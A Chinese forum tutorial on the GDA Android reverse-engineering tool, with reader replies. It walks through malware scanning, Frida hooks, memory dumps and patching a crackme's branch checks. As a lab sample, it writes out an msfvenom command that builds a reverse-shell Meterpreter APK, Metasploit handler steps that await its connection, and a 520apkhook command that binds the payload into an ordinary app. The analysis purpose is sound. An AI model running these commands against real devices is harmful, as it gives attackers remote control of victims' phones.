飘云阁

 找回密码
 加入我们

QQ登录

只需一步,快速开始

查看: 3414|回复: 8

[Android] GDA使用手册:案例篇

  [复制链接]
  • TA的每日心情
    开心
    2019-3-15 11:00
  • 签到天数: 262 天

    [LV.8]以坛为家I

    发表于 2023-7-31 18:04:27 | 显示全部楼层 |阅读模式
    本帖最后由 梦幻的彼岸 于 2023-8-16 07:35 编辑

    前言
    此篇文章以案例角度简单的介绍GDA各功能点如何使用
    备注:各功能点深入介绍请前往官网查看分析向导部分
    更新日期:2023年7月31日
    环境配置
    配置界面
    1.jpg

    配置向导
    选择某项配置后,将鼠标指针移动到左侧空白处会弹出配置提示信息
    2.jpg


    python:
    注意:当前GDA(4.08)需要32位python,示例
    Python 2.7.18 https://www.python.org/ftp/python/2.7.18/python-2.7.18.msi
    3.jpg
    java :

    java8:jdk-8u371-windows-i586
    https://www.oracle.com/cn/java/t ... oads/#java8-windows
    生成key
    keytool -genkey -v -keystore app.keystore -alias gundam_wing -keyalg RSA -validity 20000
    转换key的格式
    keytool -importkeystore -srckeystore app.keystore -destkeystore tmp.p12 -srcstoretype JKS -deststoretype PKCS12
    将PKCS12格式的key dump为可直接阅读的文本
    openssl pkcs12 -in tmp.p12 -nodes -out tmp.rsa.pem
    gedit tmp.rsa.pem
    提取文本内的内容,根据其内容的标志信息创建两个文件,示例:
    my_private.rsa.pem
    4.jpg


    my.x509.pem

    5.jpg

    转换,生成pk8格式的私钥
    openssl pkcs8 -topk8 -outform DER -in my_private.rsa.pem -inform PEM -out my_private.pk8 -nocrypt
    6.jpg


    Demo APK信息
    来自Android studio 示例代码:Hello Android
    7.jpg


    运行效果
    8.jpg


    申请的权限
    9.jpg


    恶意信息扫描
    10.jpg


    发现存在一些可被恶意使用的方法,例如:

    Read contacts, SMS or other information

    Collect IMEI, phone number, system version, etc

    示例:查看与定位
    11.jpg


    通过GDA显示的代码,辅助分析到源代码相关位置

    (名称 附近代码,位置等参考数据)
    12.jpg


    恶意APK
    在kali 系统内,输入如下命令可生成一个具有反射shell功能的APK
    msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.70.133 lport=55555 R > shell.apk
    13.jpg

    攻击机监听

    1. msfconsole //启动msfconsole
    2. use exploit/multi/handler //加载模块
    3. set payload android/meterpreter/reverse_tcp //选择Payload
    4. set lhost 192.168.70.133 //这里的地址设置成我们刚才生成木马的IP地址
    5. set lport 55555
    6. exploit //开始执行漏洞 开始监听,等待apk运行
    复制代码

    监听中
    14.jpg


    安装并运行APK后
    15.jpg

    16.jpg

    获取目标机设备信息
    1. sysinfo   //获取设备信息
    复制代码

    17.jpg
    分析思路
    基础信息查询
    BaseInfo
    可在BaseInfo模块看到一些目标APK的基础信息
    18.jpg


    证书信息
    可通过点击功能按键查询证书信息或,在识图菜单找到相关查询选项
    19.jpg


    AndroidManifest.xml文件
    可筛选内容显示,例如:services,看到此apk可以服务状态运行(Service 是一种可在后台执行长时间运行操作而不提供界面的应用组件。服务可由其他应用组件启动,而且即使用户切换到其他应用,服务仍将在后台继续运行。)
    20.jpg


    取证信息
    将APK解包并可选择编码格式查询相关信息
    21.jpg


    运行状态检测
    可使用adb shell "ps |grep 包名"

    根据之前查询的APK包名示例查询如下:输入adb shell "ps |grep com.metasploit.stage"命令查询当前测试设备APK是否正在运行,

    如下所示测试APK正在运行
    22.jpg


    恶意行为扫描
    23.jpg

    HTTP Connection
    在恶意方法行可双击进入相关代码页面
    例如:这里点击了
    24.jpg

    分析代码,与网络协议相关部分(serverSocket),通过startWith方法判断字符串变量数据是否符合规则,若符合此规则:若字符串以tcp开头,那么将以":"分割该字符串
    25.jpg


    并将分割后的结果的序号2部分传递给一个变量将其作为端口号数值使用,并在进行分割取值传递给一个变量将其作为IP使用,若条件符合,将创建ServerSocket对象在指定ip、端口进行侦听,关键参数来自Payload.a

    键入快捷键搜索:Ctrl F:
    26.jpg


    看到赋值语句,点击查看
    27.jpg


    查看到了反连的IP与端口信息
    28.jpg


    [AppleScript] 纯文本查看 复制代码
     Payload.a = new byte[8196]{0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,':',0x09,0x00,'<','*',0x88,0x08,'.',0x12,0xdc,0xf8,'=',0xda,'>',0xc9,'Y',0xbd,'+','7','>',0xfd,0xc5,0xf9,0xd5,0xf6,'L','?',0x93,0xec,0xb5,'g',0x05,0xb6,0xb3,0xf2,'t','c','p',':','/','/','1','9','2','.','1','6','8','.','7','0','.','1','3','3',':','5','5','5','5','5',.....0x00,0x00,0x00,0x00,0x00,0x00,0x00};

    补充技巧:

    全局搜索参数说明

    类型---
    29.jpg


    refstr:搜索字符串(有被引用的字符串)

    reffield:搜索类变量(有被引用的变量)

    method:搜索方法

    class:搜索类名

    field:全局搜索类变量

    package:包搜索
    30.jpg


    bin:二进制搜索

    Content---

    模糊:Payload
    31.jpg


    精确:"Payload"
    32.jpg


    正则:~".*Payload.*"
    33.jpg


    窗口始终显示选项
    34.jpg


    Frida动态调试
    HTTP Connection 相关

    运行Android设备(我这里是在存在GDA机器上运行的Android模拟器)

    右键点击如下功能
    35.jpg


    可在弹窗的窗口看到当前机器的Frida版本信息
    36.jpg


    提示信息:Android设备未运行frida-server

    使用GDACMD 输入如下命令查询Android设备内核版本信息:

    adb shell getprop ro.product.cpu.abi
    37.jpg


    根据frida与Android设备的内容信息下载相关的frida-server
    38.jpg


    解压后的文件

    输入如下命令将此文件拷贝到Android设备的 /data/local/tmp/目录下并重命名为frida-server
    adb push frida-server-16.0.19-android-x86_64 /data/local/tmp/frida-server
    39.jpg

    可输入如下命令启动frida-server
    备注:su 为切换到root权限


    1. adb shell
    2. su
    3. cd /data/local/tmp
    4. chmod 755 frida-server
    5. ./frida-server

    6. nohup ./frida-server &  后台运行,关闭终端服务也不关闭
    复制代码

    40.jpg
    41.jpg


    自定义JS脚本
    左侧右键执行或快捷键F5
    42.jpg


    脚本编写

    查看引入信息
    43.jpg

    String java 类
    startsWith 方法
    44.jpg
    1. setImmediate(function() {
    2. Java.perform(function(){
    3.     var Stringg = Java.use("java.lang.String");
    4.     console.log("Waiting for APP permission")
    5.     console.log("Waiting for APP permission")
    6.     Stringg.startsWith.overload('java.lang.String').implementation=function(test){
    7.         console.log("----------Record TCP or HTTPS information:----------")
    8.         console.log(this)
    9.         var reval = this.startsWith(test)
    10.         return reval
    11.     }
    12. })
    13. })
    复制代码

    45.jpg

    可在右侧窗口,右键选择退出选项以结束脚本执行
    46.jpg
    简单的动态分析到此结束
    捆绑加固类APK分析
    使用520apkhook工具进行捆绑与加固
    备注:需要需改源代码因utils 命名冲突
    47.jpg
    main.py
    48.jpg
    python main.py --lhost 192.168.70.133 --lport 55555 -n ./test.apk
    49.jpg

    Malscan 对比
    原始:test.apk
    50.jpg
    51.jpg


    捆绑:AllFinish.apk
    52.jpg
    53.jpg




    对比:恶意扫描发现增加了文件操作方法并且apk包内多了很多文件

    内存导出
    应用场景APK被加固的时候可Dump内存数据进行分析

    adb 工具设置
    避免执行报错推荐如下设置:环境变量的adb使用gdatmp目录的,若测试设备是模拟器(需删除模拟器自带的adb,使用gdatmp目录下的adb替换)

    备注:gdatmp目录可在GDA不打开apk的时候在识图界面点击工作目录快速导航到,若已打开apk在导航的目录需返回上一级目录查看

    测试:
    54.jpg
    如下图所示:右侧区域有数据输出内容
    55.jpg
    Dump错误情况
    若不可用情况下可将内存Dump工具手动上传到Android设备(正常是自动上传)
    内存Dump工具保存GDA工作目录的gdatmp文件夹内
    56.jpg
    根据Android设备内核选择对应的版本上传到该设备,并赋予相应权限示例:
    删除Android设备/data/local/tmp/目录的Gdump文件
    adb push %APPDATA%\GDA\gdatmp\Gdumpx86_64 /data/local/tmp/Gdump
    adb shell chmod 777 /data/local/tmp/Gdump
    测试
    57.jpg
    转储成功提示窗口
    58.jpg
    点击OK会在资源管理器中打开转储文件保存的路径
    59.jpg
    运行脚本
    python脚本
    测试脚本
    1.py

    1. def GDA_MAIN(gda_obj):
    2.     per='The apk permission:\n'
    3.     per+=gda_obj.GetPermission()
    4.     gda_obj.log(per)
    5.     tofile = open('out.txt','w')
    6.     tofile.write(per)
    7.     tofile.close()
    8.     return 0
    复制代码

    运行后界面变化与输出out.txt与1.pyc文件
    60.jpg
    javan脚本
    1.java

    1. package example;
    2. import com.gda.api.GDAInterface;
    3. import com.gda.api.GdaDex;
    4. import com.gda.api.MethodInfo;
    5. import com.gda.api.DexHeader;
    6. //gjden
    7. //example of dumping all the callors of a method
    8. class Example4Callor {
    9.         public int GDA_MAIN(GDAInterface gda)
    10.         {
    11.                 String callorStr="";
    12.                 GdaDex Dex0=gda.DexList.get(0);
    13.                 for (MethodInfo method:Dex0.MethodList){
    14.                         if(method!=null&&method.callorIdxList.length>5){
    15.                                 callorStr=String.format("the [%d] callors of the method: %s\n\n",method.callorIdxList.length,method.methodFullName);
    16.                                 for (int calloridx:method.callorIdxList){
    17.                                         String index=""+calloridx;
    18.                                         if (Dex0.MethodTable.containsKey(index)){
    19.                                                 MethodInfo obj=Dex0.MethodTable.get(index);
    20.                         callorStr+=obj.methodFullName;
    21.                                                 callorStr+=obj.MethodSignature;
    22.                                                 callorStr+="\n";
    23.                                         }
    24.                                 }
    25.                                 break;
    26.                         }
    27.                 }
    28.                 gda.log(callorStr);
    29.                 return 0;
    30.         }
    31. }
    复制代码

    若直接加载.java会弹出如下窗口
    78.jpg
    加载编译好的class文件
    79.jpg
    相关脚本可在GitHub项目查看https://github.com/charles2gan/GDA-android-reversing-Tool

    应用案例
    修改文件
    测试文件:https://github.com/num1r0/android_crackmes
    载入测试文件后点击Entry进入入口区域
    61.jpg
    鼠标左键双击MainActivity$1,进入MainActivity区域
    62.jpg
    鼠标左键双击getFlag
    63.jpg
    1.查看相关信息:鼠标左键双击getData
    64.jpg
    s3cr37_p4ssw0rd_1337
    65.jpg
    66.jpg
    2.修改判断:F5或右键在弹出的功能窗口点击SmaliJava
    67.jpg
    smali代码
    68.jpg
    • NOP修改

    69.jpg
    按R键保存修改
    可点击OK将修改后的APK安装到测试设备
    70.jpg
    安装成功的提示信息
    71.jpg
    运行测试
    72.jpg
    • 修改指令


    73.jpg

    将if-eqz修改为if-nez
    右键可看到相关功能菜单
    74.jpg
    按M键修改当前选择的指令
    75.jpg
    修改完毕按Enter键确认修改
    76.jpg
    按R键保存修改,进行测试
    77.jpg
    此篇文章到此结束


    评分

    参与人数 3威望 +4 飘云币 +4 收起 理由
    pdjfx + 1 + 1 PYG有你更精彩!
    zhczf + 2 + 2 PYG有你更精彩!
    哥又回来了 + 1 + 1 打了鸡血的高产大王!

    查看全部评分

    PYG19周年生日快乐!
  • TA的每日心情

    前天 08:52
  • 签到天数: 689 天

    [LV.9]以坛为家II

    发表于 2023-7-31 18:15:37 | 显示全部楼层
    chncert  再也没见你上过线
    PYG19周年生日快乐!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    无聊
    昨天 11:34
  • 签到天数: 624 天

    [LV.9]以坛为家II

    发表于 2023-7-31 21:12:51 | 显示全部楼层
    打了鸡血的高产大王!
    PYG19周年生日快乐!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    擦汗
    2024-6-28 20:47
  • 签到天数: 2048 天

    [LV.Master]伴坛终老

    发表于 2023-8-1 07:10:05 | 显示全部楼层
    我就是想知道这个软件修改方面的操作呀。。。只能nop掉吗?能不能改成其他的数据

    点评

    还可smali 指令修改  详情 回复 发表于 2023-8-1 10:10
    PYG19周年生日快乐!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    9 小时前
  • 签到天数: 687 天

    [LV.9]以坛为家II

    发表于 2023-8-1 08:55:46 | 显示全部楼层
    有没有最新版的飘云阁专业版分享
    PYG19周年生日快乐!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2019-3-15 11:00
  • 签到天数: 262 天

    [LV.8]以坛为家I

     楼主| 发表于 2023-8-1 10:10:51 | 显示全部楼层
    sndncel 发表于 2023-8-1 07:10
    我就是想知道这个软件修改方面的操作呀。。。只能nop掉吗?能不能改成其他的数据

    还可smali 指令修改
    PYG19周年生日快乐!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    昨天 14:03
  • 签到天数: 1507 天

    [LV.Master]伴坛终老

    发表于 2023-8-2 00:35:44 | 显示全部楼层
    学习了  感谢
    PYG19周年生日快乐!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    半小时前
  • 签到天数: 294 天

    [LV.8]以坛为家I

    发表于 2023-8-4 13:48:04 | 显示全部楼层
    虽然,看不懂,但是感觉很厉害的样子
    PYG19周年生日快乐!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2018-7-9 22:48
  • 签到天数: 16 天

    [LV.4]偶尔看看III

    发表于 2023-8-5 15:31:20 | 显示全部楼层
    666,学习了,谢谢梦幻版主
    PYG19周年生日快乐!
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 加入我们

    本版积分规则

    快速回复 返回顶部 返回列表